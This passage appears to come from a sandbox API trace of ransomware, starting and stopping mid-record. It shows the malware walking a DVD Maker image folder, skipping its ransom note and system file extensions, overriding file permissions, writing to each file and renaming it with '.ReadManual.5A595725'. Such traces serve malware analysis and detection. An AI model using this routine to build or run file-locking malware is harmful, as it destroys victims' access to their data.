Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png.ReadManual.5A595725" [0252.594] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png.ReadManual.5A595725") returned 91 [0252.594] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37326276621) returned 1 [0252.594] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png")) returned 0x20 [0252.594] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.594] GetLastError () returned 0x5 [0252.594] GetNamedSecurityInfoW () returned 0x0 [0252.595] SetNamedSecurityInfoW () returned 0x0 [0252.595] SetNamedSecurityInfoW () returned 0x0 [0252.596] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.596] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=17378) returned 1 [0252.596] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x43e2, lpName=0x0) returned 0x1a0 [0252.596] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc6) returned 1 [0252.597] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.597] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.600] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.600] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x43e2) returned 0x2f0000 [0252.600] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.600] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37326891774) returned 1 [0252.600] CloseHandle (hObject=0x1a0) returned 1 [0252.600] SetSecurityInfo () returned 0x5 [0252.600] SetSecurityInfo () returned 0x5 [0252.600] LocalFree (hMem=0x674d38) returned 0x0 [0252.600] CloseHandle (hObject=0x184) returned 1 [0252.600] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0252.601] lstrcpyW (in: lpString1=0x6ab90e, lpString2="huemainsubpicture2.png" | out: lpString1="huemainsubpicture2.png") returned="huemainsubpicture2.png" [0252.601] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="RecoveryManual.html") returned -1 [0252.601] StrStrIW (lpFirst="huemainsubpicture2.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.601] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.601] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.601] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.601] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.601] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.601] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.601] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.601] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.601] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.601] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.601] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.601] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.601] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.601] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.601] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" [0252.601] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png.ReadManual.5A595725" [0252.601] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png.ReadManual.5A595725") returned 99 [0252.601] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37327004783) returned 1 [0252.601] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png")) returned 0x20 [0252.601] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.602] GetLastError () returned 0x5 [0252.602] GetNamedSecurityInfoW () returned 0x0 [0252.602] SetNamedSecurityInfoW () returned 0x0 [0252.602] SetNamedSecurityInfoW () returned 0x0 [0252.603] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.604] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2903) returned 1 [0252.604] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb57, lpName=0x0) returned 0x1a0 [0252.604] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0252.604] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.604] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.606] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.606] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb57) returned 0x2f0000 [0252.606] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.606] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37327505556) returned 1 [0252.606] CloseHandle (hObject=0x1a0) returned 1 [0252.606] SetSecurityInfo () returned 0x5 [0252.606] SetSecurityInfo () returned 0x5 [0252.606] LocalFree (hMem=0x674d38) returned 0x0 [0252.606] CloseHandle (hObject=0x184) returned 1 [0252.607] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.607] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0252.607] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.607] StrStrIW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.607] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.607] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.607] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.607] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.607] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.607] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.607] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.607] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.608] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.608] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.608] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.608] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.608] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.608] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.608] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" [0252.608] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725" [0252.608] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned 109 [0252.608] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37327654795) returned 1 [0252.608] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png")) returned 0x20 [0252.608] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.608] GetLastError () returned 0x5 [0252.608] GetNamedSecurityInfoW () returned 0x0 [0252.608] SetNamedSecurityInfoW () returned 0x0 [0252.609] SetNamedSecurityInfoW () returned 0x0 [0252.610] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.610] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5088) returned 1 [0252.610] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x1a0 [0252.610] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xea) returned 1 [0252.611] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.611] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.615] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.615] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e0) returned 0x2f0000 [0252.615] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.615] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37328388191) returned 1 [0252.615] CloseHandle (hObject=0x1a0) returned 1 [0252.615] SetSecurityInfo () returned 0x5 [0252.615] SetSecurityInfo () returned 0x5 [0252.615] LocalFree (hMem=0x674d38) returned 0x0 [0252.615] CloseHandle (hObject=0x184) returned 1 [0252.615] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.615] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0252.616] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.616] StrStrIW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.616] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.616] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.616] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.616] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.616] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.616] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.616] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.616] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.616] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.616] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.616] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.616] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.616] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.616] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.616] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" [0252.616] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725" [0252.616] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned 115 [0252.616] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37328481595) returned 1 [0252.616] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png")) returned 0x20 [0252.616] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.617] GetLastError () returned 0x5 [0252.617] GetNamedSecurityInfoW () returned 0x0 [0252.617] SetNamedSecurityInfoW () returned 0x0 [0252.617] SetNamedSecurityInfoW () returned 0x0 [0252.619] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.619] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3130) returned 1 [0252.619] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3a, lpName=0x0) returned 0x1a0 [0252.619] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf6) returned 1 [0252.619] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.619] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.621] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.621] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc3a) returned 0x2f0000 [0252.622] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.622] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37329037025) returned 1 [0252.622] CloseHandle (hObject=0x1a0) returned 1 [0252.622] SetSecurityInfo () returned 0x5 [0252.622] SetSecurityInfo () returned 0x5 [0252.622] LocalFree (hMem=0x674d38) returned 0x0 [0252.622] CloseHandle (hObject=0x184) returned 1 [0252.622] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.622] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0252.623] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.623] StrStrIW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.623] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.623] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.623] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.623] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.623] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.623] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.623] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.623] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.623] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.623] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.623] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.623] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.623] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.623] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.623] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" [0252.623] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725" [0252.623] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned 110 [0252.623] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37329185048) returned 1 [0252.623] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png")) returned 0x20 [0252.623] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.623] GetLastError () returned 0x5 [0252.623] GetNamedSecurityInfoW () returned 0x0 [0252.624] SetNamedSecurityInfoW () returned 0x0 [0252.624] SetNamedSecurityInfoW () returned 0x0 [0252.625] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.626] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5025) returned 1 [0252.626] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a1, lpName=0x0) returned 0x1a0 [0252.626] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xec) returned 1 [0252.626] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.626] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.628] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.628] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a1) returned 0x2f0000 [0252.628] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.628] QueryPerformanceCounter 